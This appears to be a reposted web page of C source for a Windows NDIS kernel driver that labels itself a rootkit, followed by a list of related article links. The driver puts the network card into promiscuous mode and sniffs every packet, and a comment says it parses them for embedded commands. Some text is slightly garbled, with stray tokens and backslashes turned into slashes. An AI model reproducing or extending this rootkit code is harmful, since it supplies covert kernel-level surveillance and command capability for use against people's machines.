/Device/{5A6C6428-C5F2-4BA5-A469-49F607B369F2} 1394 Net Adapter
/Device/{357AC276-D8E7-47BF-954D-F3123D3319BD} 3Com 3C920 Integrated Fast Ethernet Controller (3C905C-TX Compatible)
/Device/{6D615BDB-A6C2-471D-992E-4C0B431334F1} 1394 Net Adapter
/Device/{83EE41D0-5088-4CC7-BC99-CEA55D5662D2} 3Com 3C920 Integrated Fast Ethernet Controller (3C905C-TX Compatible)
/Device/NdisWanIp
/Device/{147E65D7-4065-4249-8679-F79DB39CFC27}
/Device/{6AB35A1D-6D0B-45CA-9F1C-CD125F950D6F}
*/
//
// the format of the string is /Device/{GUID}
/////////////////////////////////////////////////////////////////////////
RtlInitUnicodeString( &anAdapterName, L"//Device//{D6D262BB-0814-46F9-8AC0-117601895E36}" );
// init sync event for close
NdisInitializeEvent(&gCloseWaitEvent);
//__asm int 3
theDriverObject->DriverUnload = OnUnload;
////////////////////////////////////////////////////////////////
// init network sniffer - this is all standard and
// documented in the DDK.
///////////////////////////////////
4000
/////////////////////////////
RtlZeroMemory( &aProtocolChar,
sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
aProtocolChar.MajorNdisVersion = 4;
aProtocolChar.MinorNdisVersion = 0;
aProtocolChar.Reserved = 0;
aProtocolChar.OpenAdapterCompleteHandler = OnOpenAdapterDone;
aProtocolChar.CloseAdapterCompleteHandler = OnCloseAdapterDone;
aProtocolChar.SendCompleteHandler = OnSendDone;
aProtocolChar.TransferDataCompleteHandler = OnTransferDataDone;
aProtocolChar.ResetCompleteHandler = OnResetDone;
aProtocolChar.RequestCompleteHandler = OnRequestDone;
aProtocolChar.ReceiveHandler = OnReceiveStub;
aProtocolChar.ReceiveCompleteHandler = OnReceiveDoneStub;
aProtocolChar.StatusHandler = OnStatus;
aProtocolChar.StatusCompleteHandler = OnStatusDone;
aProtocolChar.Name = aProtoName;
aProtocolChar.BindAdapterHandler = OnBindAdapter;
aProtocolChar.UnbindAdapterHandler = OnUnbindAdapter;
aProtocolChar.UnloadHandler = OnProtocolUnload;
aProtocolChar.ReceivePacketHandler = OnReceivePacket;
aProtocolChar.PnPEventHandler = OnPNPEvent;
DbgPrint("ROOTKIT: Registering NDIS Protocol/n");
// we have to register a protocol before we can bind to the
// MAC
NdisRegisterProtocol( &aStatus,
&gNdisProtocolHandle,
&aProtocolChar,
sizeof(NDIS_PROTOCOL_CHARACTERISTICS));
if (aStatus != NDIS_STATUS_SUCCESS)
{
char _t[255];
_snprintf(_t, 253, "DriverEntry: ERROR NdisRegisterProtocol failed with error 0x%08X", aStatus);
DbgPrint(_t);
return aStatus;
}
// NdisOpenAdapter opens a connection between the protocol
// and the physical adapter (MAC layer)
NdisOpenAdapter(
&aStatus, // return code
&anErrorStatus, // return code
&gAdapterHandle, // returns a handle to the binding
&aMediumIndex, // ptr to int which is an
// index into a 'medium' array - indicates what
// the MAC should be 'viewed' as
&aMediumArray, // array of 'medium' types
1, // number of elements in the 'medium' array
gNdisProtocolHandle, // the handle returned from NdisRegisterProtocol
&gUserStruct, // ptr to a user controlled structure, this is up to the programmer
&anAdapterName, // name of the adapter to be opened
0, // bit mask of options
NULL); // ptr to additional info to pass to MacOpenAdapter
if (aStatus != NDIS_STATUS_PENDING)
{
if(FALSE == NT_SUCCESS(aStatus))
{
/////////////////////////////////////////////////////////////////////////////////
// something bad happened, close everything down
/////////////////////////////////////////////////////////////////////////////////
char _t[255];
_snprintf(_t, 253, "ROOTKIT: NdisOpenAdapter returned an error 0x%08X", aStatus);
DbgPrint(_t);
// helpful hint
if(NDIS_STATUS_ADAPTER_NOT_FOUND == aStatus)
{
DbgPrint("NDIS_STATUS_ADAPTER_NOT_FOUND");
}
// Remove the protocol or suffer a BSOD!
NdisDeregisterProtocol( &aStatus, gNdisProtocolHandle);
if(FALSE == NT_SUCCESS(aStatus))
{
DbgPrint("DeregisterProtocol failed!");
}
// use for winCE -- NdisFreeEvent(gCloseWaitEvent);
return STATUS_UNSUCCESSFUL;
}
else
{
OnOpenAdapterDone(
&gUserStruct,
aStatus,
NDIS_STATUS_SUCCESS
);
}
}
return STATUS_SUCCESS;
}
VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
NDIS_STATUS Status;
DbgPrint("ROOTKIT: OnUnload called/n");
NdisResetEvent(&gCloseWaitEvent);
NdisCloseAdapter(
&Status,
gAdapterHandle);
// we must wait for this to complete
// ---------------------------------
if(Status == NDIS_STATUS_PENDING)
{
DbgPrint("rootkit: OnUnload: pending wait event/n");
NdisWaitEvent(&gCloseWaitEvent, 0);
}
NdisDeregisterProtocol( &Status, gNdisProtocolHandle);
if(FALSE == NT_SUCCESS(Status))
{
DbgPrint("DeregisterProtocol failed!");
}
// use for winCE -- NdisFreeEvent(gCloseWaitEvent);
DbgPrint("rootkit: OnUnload: NdisCloseAdapter() done/n");
}
VOID
OnOpenAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status,
IN NDIS_STATUS OpenErrorStatus )
{
NDIS_STATUS aStatus;
NDIS_REQUEST anNdisRequest;
NDIS_STATUS anotherStatus;
ULONG aMode = NDIS_PACKET_TYPE_PROMISCUOUS;
int i;
char _t[]= "/xFF/xFF/xFF/xFF/xFF/xFF/xFF/xFF/xFF/xFF/xFF/xFF/x06____HELLO_WIRELESS_NETWORK____";
int len = strlen(_t);
DbgPrint("ROOTKIT: OnOpenAdapterDone called/n");
if(NT_SUCCESS(OpenErrorStatus))
{
// put the card into promiscuous mode
anNdisRequest.RequestType = NdisRequestSetInformation;
anNdisRequest.DATA.SET_INFORMATION.Oid = OID_GEN_CURRENT_PACKET_FILTER;
anNdisRequest.DATA.SET_INFORMATION.InformationBuffer = &aMode;
anNdisRequest.DATA.SET_INFORMATION.InformationBufferLength = sizeof(ULONG);
NdisRequest( &anotherStatus,
gAdapterHandle,
&anNdisRequest
);
NdisAllocatePacketPool(
&aStatus,
&gPacketPoolH,
TRANSMIT_PACKETS,
sizeof(PACKET_RESERVED));
if (aStatus != NDIS_STATUS_SUCCESS)
{
return;
}
NdisAllocateBufferPool(
&aStatus,
&gBufferPoolH,
TRANSMIT_PACKETS );
if (aStatus != NDIS_STATUS_SUCCESS)
{
return;
}
}
else
{
char _t[255];
_snprintf(_t, 252, "OnOpenAdapterDone called with error code 0x%08X", OpenErrorStatus);
DbgPrint(_t);
}
}
VOID
OnCloseAdapterDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnCloseAdapterDone called/n");
// sync with unload event
NdisSetEvent(&gCloseWaitEvent);
}
VOID
OnSendDone( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET pPacket,
IN NDIS_STATUS Status )
{
PNDIS_BUFFER anNdisBufferP;
PVOID aBufferP;
UINT aBufferLen;
KIRQL aIrqL;
DbgPrint("ROOTKIT: OnSendDone called/n");
/* aquire lock, release only when send is complete */
KeAcquireSpinLock(&GlobalArraySpinLock, &aIrqL);
NdisUnchainBufferAtFront( pPacket,
&anNdisBufferP );
if(anNdisBufferP)
{
NdisQueryBuffer( anNdisBufferP,
&aBufferP,
&aBufferLen);
if(aBufferP)
{
NdisFreeMemory( aBufferP,
aBufferLen,
0 );
}
NdisFreeBuffer(anNdisBufferP);
}
NdisReinitializePacket(pPacket);
NdisFreePacket(pPacket);
/* release so we can send next.. */
KeReleaseSpinLock(&GlobalArraySpinLock, aIrqL);
}
#define ETH_P_IP 0x0800 /* Internet Protocol packet */
#define ETH_P_RARP 0x8035 /* Reverse Addr Res packet */
#define ETH_P_ARP 0x0806 /* Address Resolution packet */
#define ETH_ALEN 6 /* Octets in one ethernet addr */
struct ether_header
{
unsigned char h_dest[ETH_ALEN]; /* destination eth addr */
unsigned char h_source[ETH_ALEN]; /* source ether addr */
unsigned short h_proto; /* packet type ID field */
};
typedef long n_long;
typedef short n_short;
typedef long n_time;
typedef unsigned short u_short;
typedef unsigned long u_long;
typedef unsigned char u_char;
/* IP Header in Little Endian */
struct iphdr {
u_char ip_hl:4, /* header length */
ip_v:4; /* version */
u_char ip_tos; /* type of service */
short ip_len; /* total length */
u_short ip_id; /* identification */
short ip_off; /* fragment offset field */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
u_char ip_ttl; /* time to live */
u_char ip_p; /* protocol */
u_short ip_sum; /* checksum */
struct in_addr ip_src,ip_dst; /* source and dest address */
};
/////////////////////////////////////////////////////////////////////////
typedef u_long tcp_seq;
// TCP header. Per RFC 793, September, 1981. In Little Endian
struct tcphdr {
u_short th_sport; /* source port */
u_short th_dport; /* destination port */
tcp_seq th_seq; /* sequence number */
tcp_seq th_ack; /* acknowledgement number */
u_char th_x2:4, /* (unused) */
th_off:4; /* data offset */
u_char th_flags;
#define TH_FIN 0x01
#define TH_SYN 0x02
#define TH_RST 0x04
#define TH_PSH 0x08
#define TH_ACK 0x10
#define TH_URG 0x20
u_short th_win; /* window */
u_short th_sum; /* checksum */
u_short th_urp; /* urgent pointer */
};
void OnSniffedPacket(const char* theData, int theLen)
{
char _c[255];
_snprintf(_c, 253, "OnSniffedPacket: got packet length %d", theLen);
DbgPrint(_c);
if(theLen > sizeof(struct ether_header) + sizeof(struct iphdr))
{
struct ether_header *ep = (struct ether_header *)theData;
if(ep)
{
switch(ntohs(ep->h_proto))
{
case ETH_P_RARP:
case ETH_P_ARP:
DbgPrint("Arp packet detected");
break;
case ETH_P_IP:
DbgPrint("IP packet detected");
if(theLen >= sizeof(struct ether_header) + sizeof(struct iphdr))
{
struct iphdr *ih = (struct iphdr *) ( ((char *)ep) + sizeof(struct ether_header));
if(theLen > sizeof( struct ether_header) + sizeof( struct iphdr) + sizeof( struct tcphdr))
{
if(ih)
{
int hlen = ih->ip_hl << 2; /* use this value in case there are IP options */
short of = ntohs(ih->ip_off);
if( of & 0x01FF)
{
char _c[255];
sprintf(_c, "rootkit: packet IP fragmented, offset field: %u/n", of & 0x01FF);
DbgPrint(_c);
}
else if(IPPROTO_TCP == ih->ip_p)
{
}
}
}
}
break;
}
}
}
}
VOID
OnTransferDataDone ( IN NDIS_HANDLE thePBindingContext,
IN PNDIS_PACKET thePacketP,
IN NDIS_STATUS theStatus,
IN UINT theBytesTransfered )
{
PNDIS_BUFFER aNdisBufP;
PVOID aBufferP;
ULONG aBufferLen;
PVOID aHeaderBufferP;
ULONG aHeaderBufferLen;
//DbgPrint("ROOTKIT: OnTransferDataDone called/n");
/////////////////////////////////////////////////////////////////////
// we have a complete packet here, so process internally
/////////////////////////////////////////////////////////////////////
aBufferP = RESERVED(thePacketP)->pBuffer;
aBufferLen = theBytesTransfered;
aHeaderBufferP = RESERVED(thePacketP)->pHeaderBufferP;
aHeaderBufferLen = RESERVED(thePacketP)->pHeaderBufferLen;
/////////////////////////////////////////////////////////////////////
// aHeaderBufferP should be the Ethernet Header
// aBufferP should be the TCP/IP packet
/////////////////////////////////////////////////////////////////////
if(aBufferP && aHeaderBufferP)
{
ULONG aPos = 0;
KIRQL aIrql;
char *aPtr = NULL;
aPtr = ExAllocatePool(NonPagedPool, (aHeaderBufferLen + aBufferLen) );
if(aPtr)
{
memcpy( aPtr,
aHeaderBufferP,
aHeaderBufferLen );
memcpy( aPtr + aHeaderBufferLen,
aBufferP,
aBufferLen );
/////////////////////////////////////////////////////
// we have a complete packet ready to examine
/////////////////////////////////////////////////////
// first parse this packet for embedded commands
OnSniffedPacket(aPtr, (aHeaderBufferLen + aBufferLen));
ExFreePool(aPtr);
}
//DbgPrint("ROOTKIT: OTDD: Freeing Packet Memory/n");
ExFreePool(aBufferP); // we are full
ExFreePool(aHeaderBufferP); // we are full
}
/* free buffer */
//DbgPrint("ROOTKIT: OTDD: NdisUnchainBufferAtFront/n");
NdisUnchainBufferAtFront(thePacketP, &aNdisBufP); // Free buffer descriptor.
if (aNdisBufP) NdisFreeBuffer(aNdisBufP);
/* recycle */
//DbgPrint("ROOTKIT: OTDD: NdisReinitializePacket/n");
NdisReinitializePacket(thePacketP);
NdisFreePacket(thePacketP);
return;
}
/* a packet has arrived */
NDIS_STATUS
OnReceiveStub( IN NDIS_HANDLE ProtocolBindingContext, /* our open structure */
IN NDIS_HANDLE MacReceiveContext,
IN PVOID HeaderBuffer, /* ethernet header */
IN UINT HeaderBufferSize,
IN PVOID LookAheadBuffer, /* it is possible to have entire packet in here */
IN UINT LookaheadBufferSize,
UINT PacketSize )
{
PNDIS_PACKET pPacket;
PNDIS_BUFFER pBuffer;
ULONG SizeToTransfer = 0;
NDIS_STATUS Status;
UINT BytesTransfered;
ULONG BufferLength;
PPACKET_RESERVED Reserved;
NDIS_HANDLE BufferPool;
PVOID aTemp;
UINT Frame_Type = 0;
DbgPrint("ROOTKIT: OnReceiveStub called/n");
SizeToTransfer = PacketSize;
if ((HeaderBufferSize > ETHERNET_HEADER_LENGTH)
||
(SizeToTransfer > (1514 - ETHERNET_HEADER_LENGTH) ))
{
DbgPrint("ROOTKIT: OnReceiveStub returning unaccepted packet/n");
return NDIS_STATUS_NOT_ACCEPTED;
}
#if 1
// NOTE we need to get arp results back
memcpy(&Frame_Type, ( ((char *)HeaderBuffer) + 12), 2)
a879
;
/*
* ignore everything
* except IP (network byte order)
*/
if(Frame_Type != 0x0008)
{
DbgPrint("Ignoring NON-Ethernet frame");
return NDIS_STATUS_NOT_ACCEPTED;
}
#endif
/* store ethernet payload */
aTemp = ExAllocatePool( NonPagedPool, (1514 - ETHERNET_HEADER_LENGTH ));
if(aTemp)
{
//DbgPrint("ROOTKIT: ORI: store ethernet payload/n");
RtlZeroMemory( aTemp, (1514 - ETHERNET_HEADER_LENGTH ));
NdisAllocatePacket(
&Status,
&pPacket,
gPacketPoolH /* previous NdisAllocatePacketPool */
);
if (NDIS_STATUS_SUCCESS == Status)
{
//DbgPrint("ROOTKIT: ORI: store ethernet header/n");
/* store ethernet header */
RESERVED(pPacket)->pHeaderBufferP = ExAllocatePool(NonPagedPool, ETHERNET_HEADER_LENGTH);
DbgPrint("ROOTKIT: ORI: checking ptr/n");
if(RESERVED(pPacket)->pHeaderBufferP)
{
//DbgPrint("ROOTKIT: ORI: pHeaderBufferP/n");
RtlZeroMemory(RESERVED(pPacket)->pHeaderBufferP, ETHERNET_HEADER_LENGTH);
memcpy(RESERVED(pPacket)->pHeaderBufferP, (char *)HeaderBuffer, ETHERNET_HEADER_LENGTH);
RESERVED(pPacket)->pHeaderBufferLen = ETHERNET_HEADER_LENGTH;
NdisAllocateBuffer(
&Status,
&pBuffer,
gBufferPoolH,
aTemp,
(1514 - ETHERNET_HEADER_LENGTH)
);
if (NDIS_STATUS_SUCCESS == Status)
{
//DbgPrint("ROOTKIT: ORI: NDIS_STATUS_SUCCESS/n");
RESERVED(pPacket)->pBuffer = aTemp; /* I have to release this later */
/* Attach our buffer to the packet.. important */
NdisChainBufferAtFront(pPacket, pBuffer);
//DbgPrint("ROOTKIT: ORI: NdisTransferData/n");
NdisTransferData(
&(gUserStruct.mStatus),
gAdapterHandle,
MacReceiveContext,
0,
SizeToTransfer,
pPacket,
&BytesTransfered);
if (Status != NDIS_STATUS_PENDING)
{
//DbgPrint("ROOTKIT: ORI: did not pend/n");
/* If it didn't pend, call the completion routine now */
OnTransferDataDone(
&gUserStruct,
pPacket,
Status,
BytesTransfered
);
}
return NDIS_STATUS_SUCCESS;
}
ExFreePool(RESERVED(pPacket)->pHeaderBufferP);
}
else
{
DbgPrint("ROOTKIT: ORI: pHeaderBufferP allocation failed!/n");
}
//DbgPrint("ROOTKIT: ORI: NdisFreePacket()/n");
NdisFreePacket(pPacket);
}
//DbgPrint("ROOTKIT: ORI: ExFreePool()/n");
ExFreePool(aTemp);
}
return NDIS_STATUS_SUCCESS;
}
VOID
OnReceiveDoneStub( IN NDIS_HANDLE ProtocolBindingContext )
{
//DbgPrint("ROOTKIT: OnReceiveDoneStub called/n");
return;
}
VOID
OnStatus( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status,
IN PVOID StatusBuffer,
IN UINT StatusBufferSize )
{
DbgPrint("ROOTKIT: OnStatus called/n");
return;
}
VOID
OnStatusDone( IN NDIS_HANDLE ProtocolBindingContext )
{
DbgPrint("ROOTKIT:OnStatusDone called/n");
return;
}
VOID OnResetDone( IN NDIS_HANDLE ProtocolBindingContext,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnResetDone called/n");
return;
}
VOID
OnRequestDone( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_REQUEST NdisRequest,
IN NDIS_STATUS Status )
{
DbgPrint("ROOTKIT: OnRequestDone called/n");
return;
}
VOID OnBindAdapter( OUT PNDIS_STATUS theStatus,
IN NDIS_HANDLE theBindContext,
IN PNDIS_STRING theDeviceNameP,
IN PVOID theSS1,
IN PVOID theSS2 )
{
DbgPrint("ROOTKIT: OnBindAdapter called/n");
return;
}
VOID OnUnbindAdapter( OUT PNDIS_STATUS theStatus,
IN NDIS_HANDLE theBindContext,
IN PNDIS_HANDLE theUnbindContext )
{
DbgPrint("ROOTKIT: OnUnbindAdapter called/n");
return;
}
NDIS_STATUS OnPNPEvent( IN NDIS_HANDLE ProtocolBindingContext,
IN PNET_PNP_EVENT pNetPnPEvent)
{
DbgPrint("ROOTKIT: PtPnPHandler called");
return NDIS_STATUS_SUCCESS;
}
VOID OnProtocolUnload( VOID )
{
DbgPrint("ROOTKIT: OnProtocolUnload called");
return;
}
INT OnReceivePacket( IN NDIS_HANDLE ProtocolBindingContext,
IN PNDIS_PACKET Packet )
{
DbgPrint("ROOTKIT: OnReceivePacket called/n");
return 0;
}
相关文章推荐
- How to send raw packet data from Opendaylight controller to network datapath
- Model-View-Presenter: Variations On The Basic Pattern (Introduction To CAB/SCSF Part 24)
- AJAX请求在微信环境报错:NetworkError: Failed to execute 'send' on 'XMLHttpRequest': Failed to load
- The solution to search related problems on Geonetwork: operators, quotes, phrase, chinese.
- It looks like you are trying to access MongoDB over HTTP on the native driver port.
- Install SVN Error:The Feature You Are Tring to Use is on a Network Resource That is Unvaliable
- Send Raw Data to a Printer by Using the Win32 API
- How To Get The Size of RAW Devices On Linux
- The last packet sent successfully to the server was 0 milliseconds ago. The driver has not received any packets from the server.
- fping - send ICMP ECHO_REQUEST packets to network hosts
- How To Capture Data Packets On A Network Using Wireshark (a. k. a. Ethereal)
- wince emulator 连网错误:failed to open the vpc network driver
- How To Capture Data Packets On A Network Using Wireshark (a. k. a. Ethereal)
- Tracing to the Network Attack Based on Large Data Environment
- How to Install the Latest Nvidia Driver on Ubuntu 12.04
- Analyze ISO and TP4 communications to the Microsoft Exchange Server on the network
- Fix “Windows was unable to find a certificate to log you on to the network”
- Windows Mobile Emulator:Failed to open the VPC Network Driver.
- How to Install the Latest Nvidia Driver on Ubuntu 12.04
- Unable to start debugging on the web server. The IIS worker process for the launched URL is not currently running